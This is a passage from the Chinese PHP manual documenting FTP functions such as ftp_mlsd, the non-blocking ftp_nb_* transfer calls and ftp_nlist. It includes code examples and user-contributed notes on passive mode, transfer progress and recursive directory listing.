The second if one of dir (like '/') already exist You'll get access denied.

<?php
 function MkDir($path)
  {
   $dir=split("/", $path);
   $path="";
   $ret = true;

   for ($i=0;$i<count($dir);$i++)
   {
       $path.="/".$dir[$i];
       echo "$path\n";
       if(!@ftp_chdir($this->conn_id,$path)){
         @ftp_chdir($this->conn_id,"/");
         if(!@ftp_mkdir($this->conn_id,$path)){
          $ret=false;
          break;
         }
       }
   }
   return $ret;
  }
?>


返回指定目录中的文件列表

  • ? ftp_mkdir
  • ftp_nb_continue ?
  • PHP Manual
  • FTP 函数
  • 返回指定目录中的文件列表

ftp_mlsd

(PHP 7 >= 7.2.0, PHP 8)

ftp_mlsd — 返回指定目录中的文件列表

说明

ftp_mlsd(FTP\Connection $ftp, string $directory): array|false

参数

ftp

FTP\Connection 实例。

directory

要列出的目录。

返回值

如果成功，则返回一个由目录中所有文件信息（数组）所组成的数组；如果错误，则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_mlsd() 示例

<?php

// 简单基本连接
$ftp = ftp_connect($ftp_server);

// 使用用户名和密码进行登录
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// 获取当前目录的内容
$contents = ftp_mlsd($ftp, ".");

// 输出 $contents
var_dump($contents);

?>

以上示例的输出类似于：

array(5) {
  [0]=>
  array(8) {
    ["name"]=>
    string(1) "."
    ["modify"]=>
    string(14) "20171212154511"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(4) "cdir"
    ["unique"]=>
    string(11) "811U5740002"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [1]=>
  array(8) {
    ["name"]=>
    string(2) ".."
    ["modify"]=>
    string(14) "20171212154511"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(4) "pdir"
    ["unique"]=>
    string(11) "811U5740002"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [2]=>
  array(8) {
    ["name"]=>
    string(11) "public_html"
    ["modify"]=>
    string(14) "20171211171525"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(3) "dir"
    ["unique"]=>
    string(11) "811U5740525"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [3]=>
  array(8) {
    ["name"]=>
    string(10) "public_ftp"
    ["modify"]=>
    string(14) "20171211174536"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(3) "dir"
    ["unique"]=>
    string(11) "811U57405EE"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
  [4]=>
  array(8) {
    ["name"]=>
    string(3) "www"
    ["modify"]=>
    string(14) "www"
    ["perm"]=>
    string(7) "flcdmpe"
    ["type"]=>
    string(3) "dir"
    ["unique"]=>
    string(11) "811U5740780"
    ["UNIX.group"]=>
    string(2) "33"
    ["UNIX.mode"]=>
    string(4) "0755"
    ["UNIX.owner"]=>
    string(2) "33"
  }
}

参见

  • ftp_rawlist() - 返回指定目录下文件的详细列表
  • ftp_nlist() - 返回给定目录的文件列表

User Contributed Notes

andy at sarver dot pro 06-Apr-2023 06:46
I have yet to find a resolution to this; but I notice the ftp_mlsd command is limited in the number of files it will grab at once. For me it ranged between 7,500 and 8,500 files. Seems to me there is some max duration it will query for and what you get is a function of how fast the files can be enumerated.
Frank Glck 27-Jan-2023 09:03
sometimes it is necessary to set:

ftp_set_option($this->connection_id, FTP_USEPASVADDRESS, false)

before you set:
ftp_pasv($this->connection_id, $state)
fantastory dot net at gmail dot com 31-Jan-2021 06:22
When running from script the function may require ftp_pasv, for swithching server to pasive mode.

If you are behind firewall ftp_mlsd will return FALSE otherwise.


连续获取／发送文件（以不分块的方式 non-blocking）

  • ? ftp_mlsd
  • ftp_nb_fget ?
  • PHP Manual
  • FTP 函数
  • 连续获取／发送文件（以不分块的方式 non-blocking）

ftp_nb_continue

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_continue — 连续获取／发送文件（以不分块的方式 non-blocking）

说明

ftp_nb_continue(FTP\Connection $ftp): int

以不分块的方式，连续获取/发送文件。

参数

ftp

FTP\Connection 实例。

返回值

返回 FTP_FAILED 或 FTP_FINISHED 或 FTP_MOREDATA。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_nb_continue() 示例

<?php

// Initiate the download
$ret = ftp_nb_get($ftp, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// Continue downloading...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "There was an error downloading the file...";
exit(1);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


从 FTP 服务器获取文件并写入到一个打开的文件（非阻塞）

  • ? ftp_nb_continue
  • ftp_nb_fput ?
  • PHP Manual
  • FTP 函数
  • 从 FTP 服务器获取文件并写入到一个打开的文件（非阻塞）

ftp_nb_fget

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_fget — 从 FTP 服务器获取文件并写入到一个打开的文件（非阻塞）

说明

ftp_nb_fget(
FTP\Connection $ftp,
resource $stream,
string $remote_filename,
int $mode = FTP_BINARY,
int $offset = 0
): int

ftp_nb_fget() 从远程 FTP 服务器获取一个文件

本函数和 ftp_fget() 函数的区别是 本函数是异步方式获取文件的， 所以在下载文件的过程中你的程序还可以执行其他操作。

参数

ftp

FTP\Connection 实例。

stream

用来存储数据的一个已经打开的文件句柄。

remote_filename

远程文件路径。

mode

传输模式，必须是 FTP_ASCII 或者 FTP_BINARY。

offset

远程文件开始下载的位置（即从远程文件的哪个字节开始下载）。

返回值

返回 FTP_FAILED 或 FTP_FINISHED 或 FTP_MOREDATA。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。
7.3.0 | 参数 mode 变为可选参数。 在之前的版本中，这是一个必填参数。

示例

Example #1 ftp_nb_fget() 函数示例

<?php

// 打开要写入的文件
$file = 'index.php';
$fp = fopen($file, 'w');

$ftp = ftp_connect($ftp_server);

$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// 初始化下载
$ret = ftp_nb_fget($ftp, $fp, $file, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// 其他要做的工作
echo ".";

// 继续下载...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "There was an error downloading the file...";
exit(1);
}

// 关闭文件句柄
fclose($fp);
?>

参见

  • ftp_nb_get() - 从 FTP 服务器上获取文件并写入本地文件（non-blocking）
  • ftp_nb_continue() - 连续获取／发送文件（以不分块的方式 non-blocking）
  • ftp_fget() - 从 FTP 服务器上下载文件并保存到本地已打开的文件中
  • ftp_get() - 从 FTP 服务器上下载文件

User Contributed Notes

pilif at pilif dot ch 16-Nov-2004 05:53
If you want to monitor the progress of the download, you may use the filesize()-Function.

But note: The results of said function are cached, so you'll always get 0 bytes. Call clearstatcache() before calling filesize() to determine the actual size of the downloaded file.

This may have performance implications, but if you want to provide the information, there's no way around it.

Above sample extended:

<?php
// get the size of the remote file
$fs = ftp_size($my_connection, "test");

// Initate the download
$ret = ftp_nb_get($my_connection, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

   clearstatcache(); // <- this is important
   $dld = filesize($locfile);
   if ( $dld > 0 ){
       // calculate percentage
       $i = ($dld/$fs)*100;
       printf("\r\t%d%% downloaded", $i);
   }

   // Continue downloading...
   $ret = ftp_nb_continue ($my_connection);
}
if ($ret != FTP_FINISHED) {
   echo "There was an error downloading the file...";
   exit(1);
}
?>

Philip


将文件存储到 FTP 服务器 （非阻塞）

  • ? ftp_nb_fget
  • ftp_nb_get ?
  • PHP Manual
  • FTP 函数
  • 将文件存储到 FTP 服务器 （非阻塞）

ftp_nb_fput

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_fput — 将文件存储到 FTP 服务器 （非阻塞）

说明

ftp_nb_fput(
FTP\Connection $ftp,
string $remote_filename,
resource $stream,
int $mode = FTP_BINARY,
int $offset = 0
): int

ftp_nb_fput() 把已打开的文件内容存储到远程 FTP 服务器

本函数和 ftp_fput() 函数的区别是 本函数是异步上传文件。 所以在文件上传过程中，你的程序还可以执行其他操作。

参数

ftp

FTP\Connection 实例。

remote_filename

远程文件路径。

stream

已经打开的本地文件指针，当读取到文件末尾时结束。

mode

传输模式。必须是 FTP_ASCII 或 FTP_BINARY。

offset

要将文件存储到远程文件的开始位置（即从远程文件的哪个字节位置开始存储）。

返回值

返回 FTP_FAILED 或 FTP_FINISHED 或 FTP_MOREDATA。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。
7.3.0 | 参数 mode 变为可选参数。 在之前的版本中，这是一个必填参数。

示例

Example #1 ftp_nb_fput() 函数示例

<?php

$file = 'index.php';

$fp = fopen($file, 'r');

$ftp = ftp_connect($ftp_server);

$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// 初始化上传
$ret = ftp_nb_fput($ftp, $file, $fp, FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// 任何其他需要做的操作
echo ".";

// 继续上传...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "There was an error uploading the file...";
exit(1);
}

fclose($fp);
?>

参见

  • ftp_nb_put() - 存储一个文件至 FTP 服务器（non-blocking）
  • ftp_nb_continue() - 连续获取／发送文件（以不分块的方式 non-blocking）
  • ftp_put() - 上传文件到 FTP 服务器
  • ftp_fput() - 上传已打开的文件到 FTP 服务器

User Contributed Notes

marcopardo at gmx dot de 12-Mar-2020 07:04
FTP_FAILED = 0
FTP_FINISHED = 1
FTP_MOREDATA = 2
jascha at bluestatedigital dot com 27-Dec-2004 06:45
There is an easy way to check progress while uploading a file.  Just use the ftell function to watch the position in the file handle.  ftp_nb_fput will increment the position as the file is transferred.

Example:

<?

    $fh = fopen ($file_name, "r");
    $ret = ftp_nb_fput ($ftp, $file_name, $fh, FTP_BINARY);
    while ($ret == FTP_MOREDATA) {
        print ftell ($fh)."\n";
        $ret = ftp_nb_continue($ftp);
    }
    if ($ret != FTP_FINISHED) {
        print ("error uploading\n");
        exit(1);
    }
    fclose($fh);

?>

This will print out the number of bytes transferred thus far, every time the loop runs.  Coverting this into a percentage is simply a matter of dividing the number of bytes transferred by the total size of the file.


从 FTP 服务器上获取文件并写入本地文件（non-blocking）

  • ? ftp_nb_fput
  • ftp_nb_put ?
  • PHP Manual
  • FTP 函数
  • 从 FTP 服务器上获取文件并写入本地文件（non-blocking）

ftp_nb_get

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_get — 从 FTP 服务器上获取文件并写入本地文件（non-blocking）

说明

ftp_nb_get(
FTP\Connection $ftp,
string $local_filename,
string $remote_filename,
int $mode = FTP_BINARY,
int $offset = 0
): int|false

ftp_nb_get() 在 FTP 服务器上获取指定的远程文件，并保存到本地。

和 ftp_get() 不同之处，在于此函数是通过异步的方式来获取文件，这意味着，你的程序可以在下载文件的同时，同步进行其它操作。

参数

ftp

FTP\Connection 实例。

local_filename

保存到的本地文件路径（如果文件已存在会被覆盖）。

remote_filename

远程文件路径。

mode

指定传输模式。必须是 FTP_ASCII 或 FTP_BINARY。

offset

开始下载文件的起始位置。

返回值

返回 FTP_FAILED 或 FTP_FINISHED 或 FTP_MOREDATA，或者在无法打开本地文件的情况下返回 false

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。
7.3.0 | mode 参数变为可选，之前是强制性的。

示例

Example #1 ftp_nb_get() 示例

<?php

// 初始化
$ret = ftp_nb_get($ftp, "test", "README", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// 可以同步干其它事
echo ".";

// 继续下载...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "下载文件出错...";
exit(1);
}
?>

Example #2 通过 ftp_nb_get() 恢复下载一个文件

<?php

// 初始化
$ret = ftp_nb_get($ftp, "test", "README", FTP_BINARY,
filesize("test"));
// OR: $ret = ftp_nb_get($ftp, "test", "README",
// FTP_BINARY, FTP_AUTORESUME);
while ($ret == FTP_MOREDATA) {

// 做你爱做的事
echo ".";

// 继续下载Ing...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "下载文件出错...";
exit(1);
}
?>

Example #3 使用 ftp_nb_get() 从指定位置恢复下载文件

<?php

// 禁止 Autoseek
ftp_set_option($ftp, FTP_AUTOSEEK, false);

// 初始化
$ret = ftp_nb_get($ftp, "newfile", "README", FTP_BINARY, 100);
while ($ret == FTP_MOREDATA) {

/* ... */

// 继续下载...
$ret = ftp_nb_continue($ftp);
}
?>

在上面的示例中，newfile 会比 FTP 服务器上的 README 文件小 100 bytes，因为开始下载的时候设置了偏移量为 100。如果我们不禁止 FTP_AUTOSEEK，则 newfile 文件前面的 100 bytes 会变成 '\0'。

参见

  • ftp_nb_fget() - 从 FTP 服务器获取文件并写入到一个打开的文件（非阻塞）
  • ftp_nb_continue() - 连续获取／发送文件（以不分块的方式 non-blocking）
  • ftp_fget() - 从 FTP 服务器上下载文件并保存到本地已打开的文件中
  • ftp_get() - 从 FTP 服务器上下载文件

User Contributed Notes

passerbyxp at gmail dot com 04-Jan-2012 08:24
Note that you may have to keep calling ftp_nb_continue in order to complete the download. For example, if you do this:

<?php
ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//do some LONG time work
while(ftp_nb_continue($conn)!=FTP_FINISHED){}
?>

Your local file may only contains a few kilobytes and the later ftp_nb_continue will keep raising warning of no more data (due to connection time out, I guess).

So you may want to do this instead:

<?php
$dl=ftp_nb_get($conn,$localfile,$remotefile,FTP_BINARY)
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//part of long time work
if(ftp_nb_continue($conn)==FTP_MOREDATA) {}
//continue to do this until you finish the long time work
while(ftp_nb_continue($conn)==FTP_MOREDATA){}
?>

This happened on my Windows XP + PHP 5.3.8 under CLI. Hope this helps someone.


存储一个文件至 FTP 服务器（non-blocking）

  • ? ftp_nb_get
  • ftp_nlist ?
  • PHP Manual
  • FTP 函数
  • 存储一个文件至 FTP 服务器（non-blocking）

ftp_nb_put

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_nb_put — 存储一个文件至 FTP 服务器（non-blocking）

说明

ftp_nb_put(
FTP\Connection $ftp,
string $remote_filename,
string $local_filename,
int $mode = FTP_BINARY,
int $offset = 0
): int|false

ftp_nb_put() 函数用来把本地文件 local_file 存储到 FTP 服务器上由 remote_file 参数指定的路径。

与函数 ftp_put() 不同的是，此函数上传文件的时候采用的是异步传输模式，也就意味着在文件传送的过程中，你的程序可以继续干其它的事情。

参数

ftp

FTP\Connection 实例。

remote_filename

远程文件路径。

local_filename

本地文件路径。

mode

传输模式选择，可选参数为 FTP_ASCII（文本模式）或 FTP_BINARY（二进制模式）。

offset

指定传输开始的位置，用来续传支持。

返回值

返回 FTP_FAILED 或 FTP_FINISHED 或 FTP_MOREDATA，打开本地文件失败时为 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。
7.3.0 | mode 参数为可选，之前版本中为必填。

示例

Example #1 ftp_nb_put() 示例

<?php

// 初始化
$ret = ftp_nb_put($ftp, "test.remote", "test.local", FTP_BINARY);
while ($ret == FTP_MOREDATA) {

// 可以同时干其它事
echo ".";

// 继续上传...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "上传过程中发生错误...";
exit(1);
}
?>

Example #2 使用 ftp_nb_put() 来续传文件

<?php

// 初始化
$ret = ftp_nb_put($ftp, "test.remote", "test.local",
FTP_BINARY, ftp_size("test.remote"));
// 另一种写法: $ret = ftp_nb_put($ftp, "test.remote", "test.local",
// FTP_BINARY, FTP_AUTORESUME);

while ($ret == FTP_MOREDATA) {

// 可以同时干其它事情
echo ".";

// 继续上传...
$ret = ftp_nb_continue($ftp);
}
if ($ret != FTP_FINISHED) {
echo "上传过程中发生错误...";
exit(1);
}
?>

参见

  • ftp_nb_fput() - 将文件存储到 FTP 服务器 （非阻塞）
  • ftp_nb_continue() - 连续获取／发送文件（以不分块的方式 non-blocking）
  • ftp_put() - 上传文件到 FTP 服务器
  • ftp_fput() - 上传已打开的文件到 FTP 服务器

User Contributed Notes

parasc at chetu dot com 21-Aug-2018 02:20
Hi Everybody,
ftp_put not working in client server, but it working properly on my local  system.
Issue on client server:
Production.ERROR: ftp_put(): I won't open a connection to 172.31.17.181 (only to 52.33.186.63).

My script upload a file from local system to remote server.

Thanks
Paras Chauhan
WebSee.ru 10-Aug-2009 06:01
How to realize the possibility of transferring data from one FTP-server to another via FXP:

<?php
// ...

$ansver = ftp_raw($ftp_conn1, 'PASV');

if (intval($ansver[0]) == 227) {
    ftp_raw($ftp_conn2, 'PORT '.substr($ansver[0], $n = strpos($ansver[0], '(') + 1, strpos($m[0], ')', $n) - $n));
    ftp_raw($ftp_conn1, 'STOR '.$filename); // need asynchronously (non-blocking)
    ftp_raw($ftp_conn2, 'RETR '.$filename);
}
?>
kaiohken1982 at hotmail dot com 28-Nov-2006 04:53
Hi,
I tried to use both ftp_put() and ftp_nb_put() adding the
variable $start = date("Y:m:d h:i:s"); at the begin of the script and the variable $end = date("Y:m:d h:i:s"); at its end, after the file upload function.
With the gprs connection I'm now using and trying to upload a .jpg file of 67,5 kb the time difference between $start and $end was 40 seconds in both cases, so I can suppose that there is no difference between these upload function.
The difference comes if you put anything inside the while ($ftp_upload == FTP_MOREDATA) loop.
I hope this note can help.
Regards
Ariel asphp at dsgml dot com 12-Jul-2006 12:11
Don't add a sleep() inside the loop. If you do you will severely slow down the upload.

In my tests, each time through the loop it send about 2.5K, looping about 220 times per second. (Which is very little.)

You won't necessarily get the same numbers as me per loop, but clearly PHP does it's own management of the loop so that you don't consume all the CPU on the server.
brandon dot farber at gmail dot com 01-Feb-2006 03:14
I couldn't see this noted anywhere...

ftp_nb_put apparently takes a much much longer time to upload the file than ftp_put (I haven't done any packet sniffing or logging tests to find out why).  I was using a script, nearly identical to the example above, and a 100KB file had only uploaded 3.99KB after about 8 minutes!  The php script naturally timed out before it was complete.

I changed my function to use ftp_put, got rid of the loop to check FTP_MOREDATA (as you will see in the example above), and the same script uploaded 2.2MB within 30 seconds with no other changes.

If you're using this function instead of ftp_put *purely to try to speed up your script* and it's taking a long time, you might want to try ftp_put instead.
ted at hostleft dot com 11-Jan-2005 01:13
If you receive an error like:

Warning:  ftp_nb_put(): Unable to service PORT commands in /path/to/file.php on line 27

verify whether you need to be in PASV mode. You can go into PASV mode by declaring

>  ftp_pasv($cnx,TRUE);
manu at manux dot org 07-Jan-2005 11:35
When using non blocking functions if you try to disconnect while your non blocking operation is in progress the disconnect command will not work until the operation is not finished.


返回给定目录的文件列表

  • ? ftp_nb_put
  • ftp_pasv ?
  • PHP Manual
  • FTP 函数
  • 返回给定目录的文件列表

ftp_nlist

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_nlist — 返回给定目录的文件列表

说明

ftp_nlist(FTP\Connection $ftp, string $directory): array|false

参数

ftp

FTP\Connection 实例。

directory

指定要列表的目录。本参数接受带参数的形式，例如：ftp_nlist($ftp, "-la /your/dir");；注意此参数不对传入值做处理，在目录或者文件名包括空格或特殊的情况下，可能会存在问题。

返回值

如果成功则返回给定目录下的文件名组成的数组，否则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_nlist() 示例

<?php

// set up basic connection
$ftp = ftp_connect($ftp_server);
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// check connection
if ((!$ftp) || (!$login_result)) {
die("FTP connection has failed !");
}

// get contents of the root directory
$contents = ftp_nlist($ftp, "/");

// output $contents
var_dump($contents);

?>

以上示例的输出类似于：

array(3) {
  [0]=>
  string(11) "public_html"
  [1]=>
  string(10) "public_ftp"
  [2]=>
  string(3) "www"

参见

  • ftp_rawlist() - 返回指定目录下文件的详细列表
  • ftp_mlsd() - 返回指定目录中的文件列表

User Contributed Notes

rmaslo at archa dot cz 19-Oct-2022 07:25
Some FTP servers convert accented characters to character "?". You can try:

<?php
$ftp = ftp_connect($ftp_server);
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);
ftp_raw($ftp, 'OPTS UTF8 ON'); //Sets the server to return results in UTF
$contents = ftp_nlist($ftp, ".");
var_dump($contents);
?>
gerben at gerbs dot net 26-Feb-2018 06:39
Be aware that since PHP 7.2 a new function is available, that returns the list of files as an array with all details ready to use: http://php.net/manual/en/function.ftp-mlsd.php
fsa at dwarf dot dk 18-Mar-2016 09:19
So I wrote a simple function using ftp_nlist() to recursively list only files in a specified directory.

/**
 * Returns a list of files in the given directory, excluding directories.
 *
 * @param resource $ftp_stream
 *   The link identifier of the FTP connection.
 * @param string   $directory
 *   The directory to be listed.
 *   Note that this parameter isn't escaped so there may be some issues with filenames containing spaces and other characters.
 * @param bool     $recursive
 *   (optional) If set to TRUE, the issued command will be done recursively.
 *
 * @return array
 *   Returns an array of filenames from the specified directory.
 */
function ftp_files_list($ftp_stream, $directory, $recursive = false) {
  $files = array();

  $list = ftp_nlist($ftp_stream, $directory);
  if (is_array($list)) {
    // Strip away dot directories.
    $list = array_slice($list, 2);

    foreach ($list as $filename) {
      $path = $directory . '/' . $filename;
      // If size equals -1 it's a directory.
      if (ftp_size($ftp_stream, $path) === -1) {
        if ($recursive) {
          $files = array_merge($files, ftp_files_list($ftp_stream, $path, $recursive));
        }
      } else {
        // Strip away root directory path to ensure all file paths are relative.
        $files[] = substr($path, strpos($path, '/') + 1);
      }
    }
  }

  return $files;
}
Jacob Slomp 02-May-2012 03:58
Hi,

I wrote this function to get the file list, I tested it only with php5 with linux ftp. And works fine for me.

it will return an array with the name, type (file/folder), owner, owner_id and rights.

<?php
    function ftp_get_filelist($con, $path){
        $files = array();
        $contents = ftp_rawlist ($con, $path);
        $a = 0;

        if(count($contents)){
            foreach($contents as $line){

                preg_match("#([drwx\-]+)([\s]+)([0-9]+)([\s]+)([0-9]+)([\s]+)([a-zA-Z0-9\.]+)([\s]+)([0-9]+)([\s]+)([a-zA-Z]+)([\s ]+)([0-9]+)([\s]+)([0-9]+):([0-9]+)([\s]+)([a-zA-Z0-9\.\-\_ ]+)#si", $line, $out);

                if($out[3] != 1 && ($out[18] == "." || $out[18] == "..")){
                    // do nothing
                } else {
                    $a++;
                    $files[$a]['rights'] = $out[1];
                    $files[$a]['type'] = $out[3] == 1 ? "file":"folder";
                    $files[$a]['owner_id'] = $out[5];
                    $files[$a]['owner'] = $out[7];
                    $files[$a]['date_modified'] = $out[11]." ".$out[13] . " ".$out[13].":".$out[16]."";
                    $files[$a]['name'] = $out[18];
                }
            }
        }
        return $files;
    }
?>

Greets,

Jacob
vijay dot mahrra at fronter dot com 17-Mar-2011 02:35
We needed to get a list of all files in all subdirectories and couldn't see a method to do this so we wrote our own:

<?php
/**
 * ftpRecursiveFileListing
 *
 * Get a recursive listing of all files in all subfolders given an ftp handle and path
 *
 * @param resource $ftpConnection  the ftp connection handle
 * @param string $path  the folder/directory path
 * @return array $allFiles the list of files in the format: directory => $filename
 * @author Niklas Berglund
 * @author Vijay Mahrra
 */
function ftpRecursiveFileListing($ftpConnection, $path) {
    static $allFiles = array();
    $contents = ftp_nlist($ftpConnection, $path);

    foreach($contents as $currentFile) {
        // assuming its a folder if there's no dot in the name
        if (strpos($currentFile, '.') === false) {
            ftpRecursiveFileListing($ftpConnection, $currentFile);
        }
        $allFiles[$path][] = substr($currentFile, strlen($path) + 1);
    }
    return $allFiles;
}
?>
zgardner at allofe dot com 28-Nov-2010 05:46
While running WAMP (Vista, Apache 2.21, MySQL 5.1.36, PHP 5.3) and recursively downloading files from a LAMP FTP server (Ubuntu 8.04, Apache 2.2.8, MySQL 5.1.51a, PHP 5.2.4, VSFPTD), I would find that my script stops downloading files after a while. I traced it to the call to ftp_nlist halting the script.

To solve this, I did a ftp_pasv($ftp, true). There's nothing in the VSFTPD, Apache, or PHP error logs on either the client or the server. Very strange.
Anonymous 29-Dec-2009 09:39
Some complain that ftp_nlist, always return FALSE. I did experience this behavior myself, until I used ftp_pasv, which is useful if your client is behind a firewall (which most clients are now), then ftp_nlist worked just fine. I don't really know what are all the implications of using ftp_pasv, but if you read or experience that ftp_nlist, ftp_get, ftp_nb_get doesn't work, try adding the following:

ftp_pasv($conn_id,true);
juhakala at gmail dot com 07-May-2008 03:23
I noticed that this function won't work if working path is different, because $dir keeps value of whole path string. That's why adding basename()-function strips the path and this function will work also sub folders, not only in root folder.

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, basename($dir))) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
webmaster at weltvolk dot de 12-Oct-2007 06:28
In order to make file/folder separation work on remote servers that do not support ftp_size() it's better to use the function ftp_is_dir() mentioned below:

<?php

//identify directories

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, $dir)) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. ftp_is_dir() is true => directory
  if (ftp_is_dir($v)) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. ftp_is_dir() is false => file
  if (!ftp_is_dir($v)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>
webmaster at weltvolk dot de 05-Oct-2007 02:24
How to get the file list in alphabetical order with all directories at the top:

<?php
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. Size is '-1' => directory
  if (ftp_size($ftp_connect, $v) == -1) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. Size is not '-1' => file
  if (!(ftp_size($ftp_connect, $v) == -1)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>

Result looks like:

[ a_mydirectory ]
[ b_mydirectory ]
[ c_mydirectory ]
...
a_myfile.htm
b_myfile.css
c_myfile.php
...
wim dot dupre at skynet dot be 20-Aug-2007 05:59
php 5.2.2 on MAC OS 1.4 (Tiger) seems to defaut to active ftp. to get ftp_nlist functioning, i needed to force ftp to passive.
the default behaviour with PHP 5.2.3 on windows XP seems to be passive ftp.

greetz,

wim
ralph at ralphje dot nl 16-Aug-2007 03:13
If you receive an error due some open_basedir restrictions, use the following:

<?php
putenv('TMPDIR=/tmp/');
$filelist = ftp_nlist($ftp, "./accounts");
?>

(if /tmp/ is an allowed directory within open_basedir)

It took me a while to find this out.
AndyM 13-Aug-2007 09:13
Be careful tom at crysis-online dot com - your suggested method seems to be server dependent. I'm currently trying to talk to a proftpd server and the size returned is -1 for all files it seems.
tom at crysis-online dot com 09-Aug-2007 04:12
This function is way faster than those below for checking if an object is a file or folder.

<?php
function is_ftp_dir($file, $ftp_connection){
    if(ftp_size($ftp_connection, $file) == '-1'){
        return true; // Is directory
    }else{
        return false; // Is file
    }
}
?>
bintjes at gmail dot com 24-Jul-2007 02:51
I've made a recursive function to list all files from folders and subfolders using ftp_rawlist() . I used the function below from ari,  parse_rawlist()

function list_all_files($conn_id, $path){
    $buff = ftp_rawlist($conn_id, $path);
    $res = parse_rawlist( $buff) ;
    static $flist = array();
    if(count($res)>0){
        foreach($res as $result){
            // verify if is dir , if not add to the  list of files
            if($result['size']== 0){
                // recursively call the function if this file is a folder
                list_all_files($conn_id, $path.'/'.$result['name']);
            }
            else{
            // this is a file, add to final list
                $flist[] = $result;
            }
        }
    }
    return $flist;
}
nigel (at) amanwithapencil (dot) com 04-Feb-2007 04:02
Actually, this works better (suppresses the error when ftp_chdir() fails)!:

if (!@ftp_chdir($ftp_conn, $userfolder))
{
    ftp_mkdir($ftp_conn, $userfolder);
    ftp_chdir($ftp_conn, $userfolder);
}
nigel (at) amanwithapencil (dot) com 03-Feb-2007 08:26
Further to kip's post, this works:

if (!ftp_chdir($conn, $folder))
{
    ftp_mkdir($conn, $folder);
    ftp_chdir($conn, $folder);
}
kip at friendchip dot com 12-Dec-2006 04:48
If you're just after an ftp version of is_dir you can see if ftp_chdir returns true or false.
fx dot menard at pleasenospam dot free dot fr 05-Oct-2006 02:35
A derived use of ftp_nlist function: determine if a given path exists and is a directory or a plain file (this is not easy with basic ftp functions). This code doesn't issue any warning or error. It makes use of ls option -d for efficiency, and -F to append a slash if the retrieved path is a directory.

<?php
// returns information on a given ftp path
// 0 if path does not exist
// 1 if path is a file
// 2 if path is a directory
function ftp_pathtype( $conn, $path )
{
    $res = ftp_nlist( $conn, "-dF " . $path );
    if ( isset( $res[0] ) and
         strlen( $res[0] ) )
    {
        if ( $res[0][ strlen( $res[0] )-1 ] === "/" )
            // a directory
            return 2;
        else
            return 1;
    } else
        return 0;
}
?>
artiom1st at yahoo dot com 24-Aug-2006 07:26
